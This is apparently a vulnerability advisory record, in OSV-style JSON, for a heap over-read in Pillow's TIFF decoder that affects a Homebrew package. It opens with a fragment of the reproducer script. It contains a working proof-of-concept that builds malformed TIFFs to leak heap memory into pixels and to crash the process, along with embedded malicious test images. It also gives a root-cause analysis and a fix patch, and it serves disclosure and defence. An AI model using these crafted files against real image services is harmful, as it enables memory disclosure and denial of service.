"tile_count2.tif": tile(16, 16, 1, [(262, S, [6, 6])]),
# Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions)
"tile_dup.tif": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]),
# strip, libtiff sees 8-bit YCbCr -> _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -> 6 B/px
"ycbcr_dup.tif": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]),
(262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]),
(530, S, [1, 1])], d),
"tile_big.tif": tile(65536, 16, 1, [(262, S, [6, 6])]),
}
for n, b in files.items():
open(f"{W}/{n}", "wb").write(b)
LOAD = r"""
import sys, warnings; warnings.simplefilter("ignore")
from PIL import Image
im = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr)
im.load(); sys.stdout.write(im.tobytes().hex())
"""
def run(name, perturb):
p = subprocess.run([sys.executable, "-c", LOAD, f"{W}/{name}"], capture_output=True, text=True,
env=dict(os.environ, MALLOC_PERTURB_=str(perturb)))
return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [""]
leak = False
for n in ("tile_count2.tif", "tile_dup.tif", "ycbcr_dup.tif"):
r1, a, info = run(n, 85); r2, b, _ = run(n, 170)
print(f"== {n}: {info[0]} rc={r1},{r2}")
if r1 == 0 and r2 == 0 and a != b:
i = next(k for k in range(0, len(a), 2) if a[k:k+2] != b[k:k+2])
print(f" pixel bytes depend on malloc fill pattern from byte {i//2} of {len(a)//2}:")
print(f" PERTURB=85 : ...{a[i-8:i+40]}\n PERTURB=170: ...{b[i-8:i+40]}")
leak = True
else:
print(" identical output / error -> no leak observed")
rc, _, info = run("tile_big.tif", 0)
print(f"== tile_big.tif: {info[0]} rc={rc}" + (" (SIGSEGV)" if rc == -11 else ""))
crash = rc == -11
if crash and shutil.which("gdb"):
bt = subprocess.run(["gdb", "-batch", "-ex", "run", "-ex", "bt 4", "--args", sys.executable, "-c", LOAD,
f"{W}/tile_big.tif"], capture_output=True, text=True).stdout
print("\n".join(l for l in bt.splitlines() if l.startswith("#")))
shutil.rmtree(W)
print(f"summary: heap bytes in pixels={leak} stock SIGSEGV={crash}")
print("BUG" if leak or crash else "OK")
{
"affected": [
{
"ecosystem_specific": {
"fix": null,
"range_state": "affected",
"resource": "pillow",
"resource_purl": "pkg:pypi/pillow@12.1.1",
"upstream_fixed_in": "13.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "aider",
"purl": "pkg:brew/aider"
},
"ranges": [
{
"events": [
{
"introduced": "0.86.1_1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/pillow@12.1.1",
"name": "pillow",
"resource": "pillow",
"strategy": "registry",
"subject_version": "12.1.1"
}
]
},
"details": "```\n============================================================================\nOOB read in TiffDecode.c tile and RGBA paths leaks heap memory into pixels\nLocation: src/libImaging/TiffDecode.c:483 in _decodeTile()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nPillow reads past the end of a heap buffer when decoding certain malformed compressed TIFF files, and copies the bytes it reads into the pixels of the image it returns. An attacker who can get an application to open and load an image file, for example by uploading it to a service that returns thumbnails, previews or converted images, gets back fragments of that process\u0027s heap memory, including pointer values. A slightly larger file instead crashes the process. No special settings are needed, and nothing is written out of bounds.\n\nThe bug is in `_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c`. Both size their decode buffer from libtiff\u0027s view of the pixel layout (`TIFFTileSize()`/`TIFFTileRowSize()`, or `img.width * 4`). They then unpack each row with the unpacker that `TiffImagePlugin._setup()` chose from Pillow\u0027s own parse of the directory, and neither checks that the unpacker\u0027s input row fits inside the row libtiff produced. `_decodeStrip()` has exactly this check, added for OSS-Fuzz `crash-0da0` in 8.2.0, but the tile and RGBA paths never got it.\n\nThe two parsers can be made to disagree with a duplicated `PhotometricInterpretation` or `BitsPerSample` tag, because libtiff keeps the first occurrence and Pillow keeps the last. Pillow then unpacks 4 to 8 bytes per pixel from rows that libtiff filled with 1 to 4 bytes, so the last rows of each tile are read from beyond the buffer. The disclosed memory is a few tile rows past the buffer, and the attacker chooses the tile width. The amount does not grow with the number of tiles, because the buffer is reused for every tile.\n\nThe tile half was introduced in 1c295bf43 (first released in 8.2.0). The RGBA half was introduced in eb8c1206d, the CVE-2020-35654 fix (8.1.0).\n\nThe attached reproducer runs against an unmodified build. It writes three roughly 400-byte files that load without error, yet the last pixel rows of each change with glibc\u0027s malloc fill pattern and contain heap pointer bytes. A fourth file with a 65536x16 tile segfaults in `copy4` \u2190 `_decodeTile` (`TiffDecode.c:483`) in most runs, depending on what is mapped after the buffer.\n\n## Details\n\n`_decodeTile()` and `_decodeAsRGBA()` in `src/libImaging/TiffDecode.c` size `state-\u003ebuffer` from what libtiff says it will produce (`TIFFTileSize()`, resp. `img.width * 4`), but unpack each row with the shuffler that `TiffImagePlugin._setup()` selected from Pillow\u0027s *own* parse of the IFD. Nothing in either function checks that the unpacker\u0027s input row (`width * state-\u003ebits / 8` bytes) fits inside the row libtiff wrote. `_decodeStrip()` has exactly that check; the other two do not. Whenever the two IFD parsers disagree about the pixel layout \u2014 a tag with the wrong count or type that libtiff ignores but Pillow accepts, or a duplicated `PhotometricInterpretation`/`BitsPerSample`/`SamplesPerPixel` entry (libtiff keeps the first occurrence, `ImageFileDirectory_v2.load()` the last) \u2014 the unpacker reads past the end of the heap buffer and the bytes it reads become pixels of the returned image. Any Pillow rawmode wider than libtiff\u0027s actual sample layout works (`RGBX`, `RGB;16N`, `RGBA;16N`, `I;32`, `F;32F`, \u2026); `RGBA;16N` (64 bits/pixel) against 1-bit libtiff data is the largest ratio, where every row after the first of each tile is read almost entirely from beyond the buffer.\n\nThe ~400-byte TIFF `tile_count2.tif` generated by the reproducer \u2014 one 16x16 tile, `BitsPerSample 8`, `SamplesPerPixel 1`, `Compression 8` (Adobe Deflate), and `PhotometricInterpretation` written as a SHORT with **count 2** (`6, 6`) \u2014 is opened by `Image.open()` as mode `RGB` with libtiff rawmode `RGBX`, and `load()` succeeds on the stock build. Rows 13\u201315 of the result contain bytes that lie 16, 32 and 48 bytes past the 256-byte tile buffer: decoding the same file twice under `MALLOC_PERTURB_=85` and `=170` yields identical rows 0\u201312 and different bytes in rows 13\u201315 (`aa` vs `55`, i.e. glibc\u0027s fill pattern). Under an ASan build of the extensions the same `load()` reports `heap-buffer-overflow READ of size 64` in `copy4` (`src/libImaging/Unpack.c:1290`) called from `src/libImaging/TiffDecode.c:483`, against the 256-byte region allocated at `TiffDecode.c:448`. The same layout with a single 65536x16 tile (4.5 KB file) makes the stock build SIGSEGV in `copy4 \u2190 _decodeTile` reading an unmapped address in most runs (whether it faults depends on what is mapped after the 1 MiB buffer; a wider tile makes it reliable).\n\n### Why the two parsers disagree\n\nlibtiff 4.5 rejects a `PhotometricInterpretation` entry whose count is not 1 (`TIFFFetchNormalTag: Incorrect count for \"PhotometricInterpretation\"; tag ignored`), so for this file `TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, \u2026)` returns 0 and libtiff treats the data as one 8-bit sample per pixel: `TIFFTileSize() = 256`, `TIFFTileRowSize() = 16`.\n\nPillow keeps the first value and carries on:\n\n```python\n# src/PIL/TiffImagePlugin.py:762-770 (ImageFileDirectory_v2._setitem, reached from load())\n try:\n (dest[tag],) = values\n except ValueError:\n # We\u0027ve got a builtin tag with 1 expected entry\n warnings.warn(f\"Metadata Warning, tag {tag} had too many entries: ...\")\n dest[tag] = values[0]\n```\n\nso `_setup()` sees `photo == 6`. `OPEN_INFO[(II, 6, (1,), 1, (8,), ())]` is `(\"L\", \"L\")`, and because the file is compressed the libtiff branch then overrides the rawmode:\n\n```python\n# src/PIL/TiffImagePlugin.py:1578, 1600-1607\n self.use_load_libtiff = READ_LIBTIFF or self._compression != \"raw\"\n \u2026\n if photo == 6:\n self._mode = \"RGB\"\n if self._compression in \"jpeg\" and self._planar_configuration == 1:\n rawmode = \"RGB\"\n else:\n rawmode = \"RGBX\"\n```\n\n`RGBX` is a 32-bit rawmode, so `get_unpacker()` (`src/decode.c:301-309`) sets `state-\u003ebits = 32` and `state-\u003eshuffle = copy4`. The intent of the `photo == 6` override is that libtiff will deliver RGBA through `TIFFRGBAImage`, but that decision is made in C from *libtiff\u0027s* reading of the tag, which here is \"not YCbCr\":\n\n```c\n// src/libImaging/TiffDecode.c:737-764\n TIFFGetField(tiff, TIFFTAG_PHOTOMETRIC, \u0026photometric); // unset -\u003e stays 0\n \u2026\n readAsRGBA = photometric == PHOTOMETRIC_YCBCR; // 0\n \u2026\n if (TIFFIsTiled(tiff)) {\n _decodeTile(im, state, tiff, planes, unpackers); // unpackers[0] = copy4\n```\n\n### The missing check\n\n`_decodeTile()` only guards against libtiff\u0027s tile being *larger* than what the unpacker expects, then allocates exactly `TIFFTileSize()` bytes and feeds `row_byte_size`-strided rows to the shuffler:\n\n```c\n// src/libImaging/TiffDecode.c:403-487 (_decodeTile)\n tile_bytes_size = TIFFTileSize(tiff); // 256\n \u2026\n row_byte_size = TIFFTileRowSize(tiff); // 16\n \u2026\n if (tile_bytes_size \u003e ((tile_length * state-\u003ebits / planes + 7) / 8) * tile_width) {\n // 256 \u003e 1024 is false -\u003e no abort\n \u2026\n }\n state-\u003ebytes = tile_bytes_size;\n new_data = realloc(state-\u003ebuffer, state-\u003ebytes); // 256-byte buffer (line 448)\n \u2026\n for (tile_y = 0; tile_y \u003c current_tile_length; tile_y++) {\n shuffler( // copy4: reads current_tile_width*4 = 64 bytes\n (UINT8 *)im-\u003eimage[tile_y + y] + x * im-\u003epixelsize,\n state-\u003ebuffer + tile_y * row_byte_size, // from offset 16*tile_y\n current_tile_width\n );\n```\n\nRow `tile_y` is read from `[16\u00b7tile_y, 16\u00b7tile_y + 64)`; for `tile_y` = 13, 14, 15 that ends 16, 32, 48 bytes past the 256-byte allocation. In general the last rows of every tile over-read by up to `(state-\u003ebits / libtiff_bits_per_pixel \u2212 1) \u00d7 row_byte_size` bytes, and `row_byte_size` scales with the attacker-chosen `TileWidth`.\n\nNote also that the existing one-sided check at line 434 multiplies the file-controlled `tile_width`/`tile_length` (`UINT32`, accepted up to `INT_MAX` at line 428) by `state-\u003ebits` in 32-bit unsigned arithmetic, so `tile_width * state-\u003ebits` wraps for `tile_width \u2265 2^32 / bits` (2^26 for the 64-bit rawmodes, 2^27 for `RGBX`/`I;32`/`F;32F`). An 8 KB file declaring a 2,097,152\u00d71 image with `TILEWIDTH = 2^26+16`, `TILELENGTH = 1`, 1-bit data for libtiff and `RGBA;16N` for Pillow makes libtiff allocate an ~8 MB tile from which `unpackRGBA16L` reads 16 MB, and the stock build SIGSEGVs in `unpackRGBA16L \u2190 _decodeTile (TiffDecode.c:483)`; a row-size comparison written in the same 32-bit arithmetic as line 434 would evaluate that row to 128 bytes and still accept it, so the new check must be done in a 64-bit type.\n\nCompare the strip path, which refuses this situation (added for OSS-Fuzz `crash-0da0` in 8.2.0):\n\n```c\n// src/libImaging/TiffDecode.c:528-548 (_decodeStrip)\n unpacker_row_byte_size = (state-\u003exsize * state-\u003ebits / planes + 7) / 8;\n \u2026\n row_byte_size = TIFFScanlineSize(tiff);\n // if the unpacker calculated row size is \u003e row byte size, (at least) the last\n // row of the strip will have a read buffer overflow.\n if (row_byte_size == 0 || unpacker_row_byte_size \u003e row_byte_size) {\n state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n return -1;\n }\n```\n\nThe identical file written with one strip instead of one tile fails `load()` with `OSError: decoder error -2` because of this check.\n\n### Same gap in `_decodeAsRGBA()`\n\n`_decodeAsRGBA()` always produces `img.width * 4` bytes per row (`TiffDecode.c:325`, buffer allocated at line 339) and unpacks with `state-\u003eshuffle` (line 373) without looking at `state-\u003ebits`. It is reached when *libtiff* sees YCbCr while Pillow does not force `RGBX`. libtiff marks later duplicates of a tag as ignored (first occurrence wins); Pillow\u0027s `ImageFileDirectory_v2.load()` overwrites (`TiffImagePlugin.py:945`, last wins). The reproducer\u0027s `ycbcr_dup.tif` is a 16x16 Deflate strip with `PhotometricInterpretation` present twice (`6`, then `2`) and `BitsPerSample` twice (`8,8,8`, then `16,16,16`): libtiff decodes 8-bit YCbCr into a 1024-byte RGBA raster, Pillow selects `RGB;16N` (`state-\u003ebits = 48`), and `unpackRGB16L` reads 96 bytes per 64-byte row \u2014 ASan reports `heap-buffer-overflow` in `unpackRGB16L` (`Unpack.c:609`) from `TiffDecode.c:373`, past the 1024-byte region from `TiffDecode.c:339`.\n\nThe count-2 encoding is not the only lever, and on released versions it is not a lever at all: a 1-sample `photo == 6` file only gets rawmode `RGBX` since the unreleased commit 155330d63 (\"Do not open YCbCr colorspace images as RGB without libtiff (#9779)\", 2026-08-26). Released versions are reached through duplicated tags instead. A 3-sample tiled file with two `PhotometricInterpretation` entries (`1` or `2`, then `6`) produces the same `copy4` \u2190 `_decodeTile` over-read, since libtiff keeps the first value and decodes 3 bytes per pixel while Pillow keeps `6` and unpacks 4 (the reproducer\u0027s `tile_dup.tif`). `ycbcr_dup.tif` above reaches `_decodeAsRGBA()` the same way.\n\n## Impact\n\nAny application that calls `Image.open()` + `load()` (or `thumbnail()`, `convert()`, `save()`, \u2026) on an untrusted file reaches this with default settings: the file is content-sniffed as TIFF, and any compressed TIFF is decoded through libtiff and `TiffDecode.c` without `READ_LIBTIFF` being set. The over-read bytes are copied into the image\u0027s pixel rows, so a service that returns a thumbnail, preview or converted image hands adjacent heap memory back to the uploader, heap pointer values included \u2014 up to three libtiff tile rows past the buffer for the `RGBX`-over-8-bit case, with the tile row length (`TileWidth`) chosen by the attacker. `state-\u003ebuffer` is allocated once and reused for every tile, so each tile re-reads the same region past that one buffer; the distinct heap disclosed per image is about `(unpacker_bpp / libtiff_bpp \u2212 1)` tile rows and does not grow with the tile count. With a wide tile the read runs off the mapping and the process segfaults instead (the 65536x16 case crashes the stock build in most runs, depending on what is mapped after the buffer), taking down the whole worker rather than one request. Writes go to the correctly sized `Imaging` rows, so this is disclosure / crash, not memory corruption.\n\nThis is the same family as CVE-2020-35654 (Pillow and libtiff interpreting a YCbCr IFD differently in `TiffDecode.c`); that fix and the later `crash-0da0` fix closed the write and the strip-path read, but the tile path and the RGBA path still trust Pillow\u0027s rawmode over libtiff\u0027s row size. The tile-path gap was introduced in 1c295bf43c3a (\"Check for dimensions and sizes to fit into int\", 2021-01-25), which switched `_decodeTile()` from a buffer sized by Pillow\u0027s unpacker to `TIFFTileSize()`/`TIFFTileRowSize()`; it is first in Pillow 8.2.0. The `_decodeAsRGBA()` half dates from eb8c1206d6b1 (\"Fix CVE-2020-35654 - OOB Write in TiffDecode.c\"), first in 8.1.0.\n\n## Reproducing\n\nRun `repro` (a single Python 3 script) against the installed, unmodified Pillow. No sanitizer build is needed. It writes four TIFFs into a temporary directory, decodes each one in a child process, and removes the directory at the end.\n\nThe script writes its TIFFs byte by byte with a small classic-TIFF writer. Each file has a single IFD and a single Deflate-compressed block. Deflate is only there so the file is decoded by libtiff and `TiffDecode.c`. Every pixel byte in the compressed data is defined, so the decoded image should not depend on anything else in the process:\n\n- **`tile_count2.tif`**: a 16x16, 1-sample, 8-bit tile with `PhotometricInterpretation` written as SHORT count 2, `(6, 6)`. Pillow keeps `6` and unpacks with `copy4` (`RGBX`, 4 bytes per pixel). libtiff ignores the tag and decodes 1 byte per pixel. This lever needs 155330d63 (unreleased).\n- **`tile_dup.tif`**: a 16x16, 3-sample, 8-bit tile with `PhotometricInterpretation` present twice, `2` then `6`. libtiff keeps `2` (RGB, 3 bytes per pixel) and Pillow keeps `6` (`RGBX`, 4 bytes per pixel). This variant also applies to released versions.\n- **`ycbcr_dup.tif`**: the 16x16 strip with `BitsPerSample` `8,8,8` then `16,16,16` and `PhotometricInterpretation` `6` then `2`. libtiff decodes 8-bit YCbCr through `_decodeAsRGBA()` (4 bytes per pixel), and Pillow unpacks `RGB;16N` with `unpackRGB16L` (6 bytes per pixel).\n- **`tile_big.tif`**: the `tile_count2.tif` layout with a single 65536x16 tile.\n\nFor each of the first three files, the script runs `Image.open()` + `load()` + `tobytes()` twice, once with `MALLOC_PERTURB_=85` and once with `=170`. If the two outputs differ, bytes from beyond the decode buffer have become pixels. In that case it prints the first differing offset and the bytes around it from both runs. On this tree all three differ in their last rows: the `aa`/`55` fill bytes show up, along with heap pointer bytes. The script then decodes `tile_big.tif` and checks for a SIGSEGV (exit status -11). If `gdb` is available, it prints the top frames: `copy4` (`Unpack.c:1290`) \u2190 `_decodeTile` (`TiffDecode.c:483`) \u2190 `ImagingLibTiffDecode`. This crash depends on ASLR, so an occasional run may survive.\n\nEach step prints which `_imaging` build it used and how Pillow opened the file (mode, size and rawmode). The script ends with a one-line summary. The last line is `BUG` if any file leaked heap bytes into its pixels or the big tile crashed the process. Otherwise it is `OK`.\n\n## Suggested fix\n\nThe attached patch restores the `_decodeStrip()` invariant (the unpacker\u0027s input row must fit inside libtiff\u0027s row) in the two sibling decoders in `src/libImaging/TiffDecode.c`, at the point where each one sizes its buffer:\n\n- `_decodeTile()` computes `unpacker_row_byte_size = ((tsize_t)tile_width * state-\u003ebits / planes + 7) / 8` (the `tsize_t` cast keeps the product out of 32-bit arithmetic, so the `TILEWIDTH = 2^26+16` case above cannot wrap past the check on 64-bit builds). It reuses that value for the existing `TIFFTileSize()` sanity check, as `_decodeStrip()` does for strips. After that check and before the `realloc`, it fails with `IMAGING_CODEC_BROKEN` when `unpacker_row_byte_size \u003e row_byte_size` (`TIFFTileRowSize()`).\n- `_decodeAsRGBA()` fails with `IMAGING_CODEC_BROKEN` when `state-\u003ebits \u003e 32`, because `TIFFRGBAImage` rows are always 32 bits per pixel. This check runs before `TIFFRGBAImageBegin()` and any allocation.\n\nWith the patch, the tile and RGBA files fail `load()` with `OSError: decoder error -2`, the same result the equivalent strip file already gets. The patch also adds a regression test to `Tests/test_file_libtiff.py` (`test_unpacker_row_wider_than_libtiff_row`). The test embeds the count-2 tile and the duplicated-tag YCbCr strip as base64, following the file\u0027s existing convention. The patch was applied to a clean tree and rebuilt: the reproducer no longer triggers, and `Tests/test_file_tiff.py`, `Tests/test_file_libtiff.py` and `Tests/test_tiff_crashes.py` pass.\n\nThese checks close the over-read however the two parsers are made to disagree. Separately, `_setup()` could stop deriving the libtiff rawmode from tags that libtiff will read differently \u2014 e.g. treat a `PhotometricInterpretation`/`BitsPerSample`/`Compression` that is not a single well-typed value as \"unknown pixel mode\", the way `ImageWidth`/`ImageLength` are already required to be `int` at `TiffImagePlugin.py:1473`, or have `ImageFileDirectory_v2.load()` keep the first occurrence of a repeated tag as libtiff does (a behaviour change for malformed IFDs that is better made deliberately and separately) \u2014 but that only narrows the ways to reach the C-side gap rather than removing it: `TiffImagePlugin` cannot know how libtiff will resolve every malformed directory, and the decoder-side comparisons are what actually bound the read.\n\n## The patch\n\nReject TIFFs whose unpacker row is wider than libtiff\u0027s decoded row in _decodeTile() and _decodeAsRGBA(), as _decodeStrip() already does\n\nApplies to `src/libImaging/TiffDecode.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_libtiff.py b/Tests/test_file_libtiff.py\nindex 3d804ea4a..c08dfe77c 100644\n--- a/Tests/test_file_libtiff.py\n+++ b/Tests/test_file_libtiff.py\n@@ -1232,6 +1232,50 @@ class TestFileLibTiff(LibTiffTestCase):\n with pytest.raises(OSError, match=\"decoder error -9\"):\n im.load()\n \n+ @pytest.mark.parametrize(\n+ \"data\",\n+ (\n+ # 16x16 8-bit greyscale tile, with a PhotometricInterpretation tag that\n+ # has two values. Pillow reads it as YCbCr (rawmode RGBX, 4 bytes/pixel)\n+ # while libtiff ignores it and decodes 1 byte/pixel.\n+ (\n+ b\"SUkqAAgAAAAKAAABBAABAAAAEAAAAAEBBAABAAAAEAAAAAIBAwABAAAACAAA\"\n+ b\"AAMBAwABAAAACAAAAAYBAwACAAAABgAGABUBAwABAAAAAQAAAEIBBAABAAAA\"\n+ b\"EAAAAEMBBAABAAAAEAAAAEQBBAABAAAAhgAAAEUBBAABAAAACwEAAAAAAAB4\"\n+ b\"nAEAAf/+AAECAwQFBgcICQoLDA0ODxAREhMUFRYXGBkaGxwdHh8gISIjJCUm\"\n+ b\"JygpKissLS4vMDEyMzQ1Njc4OTo7PD0+P0BBQkNERUZHSElKS0xNTk9QUVJT\"\n+ b\"VFVWV1hZWltcXV5fYGFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6e3x9fn+A\"\n+ b\"gYKDhIWGh4iJiouMjY6PkJGSk5SVlpeYmZqbnJ2en6ChoqOkpaanqKmqq6yt\"\n+ b\"rq+wsbKztLW2t7i5uru8vb6/wMHCw8TFxsfIycrLzM3Oz9DR0tPU1dbX2Nna\"\n+ b\"29zd3t/g4eLj5OXm5+jp6uvs7e7v8PHy8/T19vf4+foAAQIDBJ9Bepo=\"\n+ ),\n+ # 16x16 strip with duplicated BitsPerSample and PhotometricInterpretation\n+ # tags. libtiff keeps the first (8-bit YCbCr, read as 4 bytes/pixel RGBA)\n+ # while Pillow keeps the last (16-bit RGB, rawmode RGB;16N, 6 bytes/pixel).\n+ (\n+ b\"SUkqAAgAAAAMAAABAwABAAAAEAAAAAEBAwABAAAAEAAAAAIBAwADAAAAugEA\"\n+ b\"AAIBAwADAAAAwAEAAAMBAwABAAAACAAAAAYBAwABAAAABgAAAAYBAwABAAAA\"\n+ b\"AgAAABEBBAABAAAAngAAABUBAwABAAAAAwAAABYBAwABAAAAEAAAABcBBAAB\"\n+ b\"AAAAHAEAABICAwACAAAAAQABAAAAAAB4nGNgZGJmYWVj5+Dk4ubh5eMXEBQS\"\n+ b\"FhEVE5eQlJKWkZWTV1BUUlZRVVPX0NTS1tHV0zcwNDI2MTUzt7C0sraxtbN3\"\n+ b\"cHRydnF1c/fw9PL28fXzDwgMCg4JDQuPiIyKjomNi09ITEpOSU1Lz8jMys7J\"\n+ b\"zcsvKCwqLiktK6+orKquqa2rb2hsam5pbWvv6Ozq7unt658wcdLkKVOnTZ8x\"\n+ b\"c9bsOXPnzV+wcNHiJUuXLV+xctXqNWvXrd+wcdPmLVu3bd+xc9fuPXv37T9w\"\n+ b\"8NDhI0ePHT9x8tTpM2fPnb9w8dLlK1evXb9x89btO3fv3X/w8NHjJ0+fPX/x\"\n+ b\"8tXrN2/fvf/w8dPnL1+/ff/x89fvP3///WcY9f+I9j8AoGJ+kAgACAAIABAA\"\n+ b\"EAAQAA==\"\n+ ),\n+ ),\n+ )\n+ @pytest.mark.filterwarnings(\"ignore:Metadata Warning\")\n+ def test_unpacker_row_wider_than_libtiff_row(self, data: bytes) -\u003e None:\n+ # The unpacker chosen by Pillow reads more bytes per row than libtiff\n+ # decoded, so the decoder must reject the image rather than read past\n+ # the end of its buffer\n+ with Image.open(io.BytesIO(base64.b64decode(data))) as im:\n+ with pytest.raises(OSError, match=\"decoder error -2\"):\n+ im.load()\n+\n @pytest.mark.parametrize(\"compression\", (\"tiff_adobe_deflate\", \"jpeg\"))\n def test_save_multistrip(self, compression: str, tmp_path: Path) -\u003e None:\n im = hopper(\"RGB\").resize((256, 256))\ndiff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c\nindex 8a57c523d..2ee6c5f0a 100644\n--- a/src/libImaging/TiffDecode.c\n+++ b/src/libImaging/TiffDecode.c\n@@ -304,6 +304,15 @@ _decodeAsRGBA(Imaging im, ImagingCodecState state, TIFF *tiff) {\n \n TRACE((\"RowsPerBlock: %u \\n\", rows_per_block));\n \n+ // TiffRGBAImages are 32bits/pixel. If the unpacker reads more bits per pixel\n+ // than that, (at least) the last row of the block will have a read buffer\n+ // overflow.\n+ if (state-\u003ebits \u003e 32) {\n+ TRACE((\"Decode Error, unpacker bits %d \u003e 32\\n\", state-\u003ebits));\n+ state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n+ return -1;\n+ }\n+\n if (!(TIFFRGBAImageOK(tiff, emsg) \u0026\u0026 TIFFRGBAImageBegin(\u0026img, tiff, 0, emsg))) {\n TRACE((\"Decode error, msg: %s\", emsg));\n state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n@@ -397,7 +406,7 @@ _decodeTile(\n ) {\n INT32 x, y, tile_y, current_tile_length, current_tile_width;\n UINT32 tile_width, tile_length;\n- tsize_t tile_bytes_size, row_byte_size;\n+ tsize_t tile_bytes_size, row_byte_size, unpacker_row_byte_size;\n UINT8 *new_data;\n \n tile_bytes_size = TIFFTileSize(tiff);\n@@ -431,7 +440,8 @@ _decodeTile(\n return -1;\n }\n \n- if (tile_bytes_size \u003e ((tile_length * state-\u003ebits / planes + 7) / 8) * tile_width) {\n+ unpacker_row_byte_size = ((tsize_t)tile_width * state-\u003ebits / planes + 7) / 8;\n+ if (tile_bytes_size \u003e (unpacker_row_byte_size * tile_length)) {\n // If the tile size as expected by LibTiff isn\u0027t what we\u0027re expecting, abort.\n // man: TIFFTileSize returns the equivalent size for a tile of data as it\n // would be returned in a call to TIFFReadTile ...\n@@ -439,6 +449,13 @@ _decodeTile(\n return -1;\n }\n \n+ // if the unpacker calculated row size is \u003e row byte size, (at least) the last\n+ // row of the tile will have a read buffer overflow.\n+ if (unpacker_row_byte_size \u003e row_byte_size) {\n+ state-\u003eerrcode = IMAGING_CODEC_BROKEN;\n+ return -1;\n+ }\n+\n state-\u003ebytes = tile_bytes_size;\n \n TRACE((\"TIFFTileSize: %d\\n\", state-\u003ebytes));\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer \u2014 \u003ccode\u003erepro\u003c/code\u003e, 4,178 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Heap over-read in _decodeTile()/_decodeAsRGBA() (src/libImaging/TiffDecode.c), stock build,\n# no sanitizer needed. Pillow picks the row unpacker from its own IFD parse, libtiff sizes the\n# decode buffer from its parse; when they disagree the unpacker reads past state-\u003ebuffer and the\n# bytes land in the image. Evidence: (1) pixels of a fully-defined 16x16 file change with glibc\u0027s\n# MALLOC_PERTURB_ fill byte (heap bytes beyond the buffer became pixels); (2) a 65536x16 tile\n# SIGSEGVs in copy4 \u003c- _decodeTile. Runs in a few seconds.\nimport os, shutil, struct, subprocess, sys, tempfile, zlib\n\nW = tempfile.mkdtemp(); S, L = 3, 4\n\ndef tiff(entries, data): # little-endian classic TIFF, one IFD, tags in given order\n data_off = 8 + 2 + 12 * len(entries) + 4; extra_off = data_off + len(data)\n ifd, extra = struct.pack(\"\u003cH\", len(entries)), b\"\"\n for tag, typ, vals in entries:\n if vals is None: typ, vals = L, [data_off]\n raw = b\"\".join(struct.pack(\"\u003cH\" if typ == S else \"\u003cL\", v) for v in vals)\n if len(raw) \u003e 4: raw, extra = struct.pack(\"\u003cL\", extra_off + len(extra)), extra + raw\n ifd += struct.pack(\"\u003cHHL\", tag, typ, len(vals)) + raw.ljust(4, b\"\\0\")\n return b\"II*\\0\" + struct.pack(\"\u003cL\", 8) + ifd + b\"\\0\" * 4 + data + extra\n\ndef tile(w, h, spp, photo): # one deflate tile, 8 bit/sample\n d = zlib.compress(bytes(i % 251 for i in range(w * h * spp)))\n return tiff([(256, L, [w]), (257, L, [h]), (258, S, [8] * spp), (259, S, [8])] + photo +\n [(277, S, [spp]), (322, L, [w]), (323, L, [h]), (324, L, None), (325, L, [len(d)])], d)\n\nd = zlib.compress(bytes(range(256)) * 3)\nfiles = {\n # Photometric count 2 (6,6): libtiff ignores tag -\u003e 1 B/px; Pillow keeps 6 -\u003e RGBX copy4 4 B/px (HEAD only)\n \"tile_count2.tif\": tile(16, 16, 1, [(262, S, [6, 6])]),\n # Photometric duplicated 2 then 6, 3 samples: libtiff RGB 3 B/px; Pillow RGBX 4 B/px (also released versions)\n \"tile_dup.tif\": tile(16, 16, 3, [(262, S, [2]), (262, S, [6])]),\n # strip, libtiff sees 8-bit YCbCr -\u003e _decodeAsRGBA 4 B/px; Pillow sees RGB;16 -\u003e 6 B/px\n \"ycbcr_dup.tif\": tiff([(256, S, [16]), (257, S, [16]), (258, S, [8, 8, 8]), (258, S, [16, 16, 16]), (259, S, [8]),\n (262, S, [6]), (262, S, [2]), (273, L, None), (277, S, [3]), (278, S, [16]), (279, L, [len(d)]),\n (530, S, [1, 1])], d),\n \"tile_big.tif\": tile(65536, 16, 1, [(262, S, [6, 6])]),\n}\nfor n, b in files.items():\n open(f\"{W}/{n}\", \"wb\").write(b)\n\nLOAD = r\"\"\"\nimport sys, warnings; warnings.simplefilter(\"ignore\")\nfrom PIL import Image\nim = Image.open(sys.argv[1]); print(Image.core.__file__, im.mode, im.size, im.tile[0].args[0], file=sys.stderr)\nim.load(); sys.stdout.write(im.tobytes().hex())\n\"\"\"\ndef run(name, perturb):\n p = subprocess.run([sys.executable, \"-c\", LOAD, f\"{W}/{name}\"], capture_output=True, text=True,\n env=dict(os.environ, MALLOC_PERTURB_=str(perturb)))\n return p.returncode, p.stdout, p.stderr.strip().splitlines()[-1:] or [\"\"]\n\nleak = False\nfor n in (\"tile_count2.tif\", \"tile_dup.tif\", \"ycbcr_dup.tif\"):\n r1, a, info = run(n, 85); r2, b, _ = run(n, 170)\n print(f\"== {n}: {info[0]} rc={r1},{r2}\")\n if r1 == 0 and r2 == 0 and a != b:\n i = next(k for k in 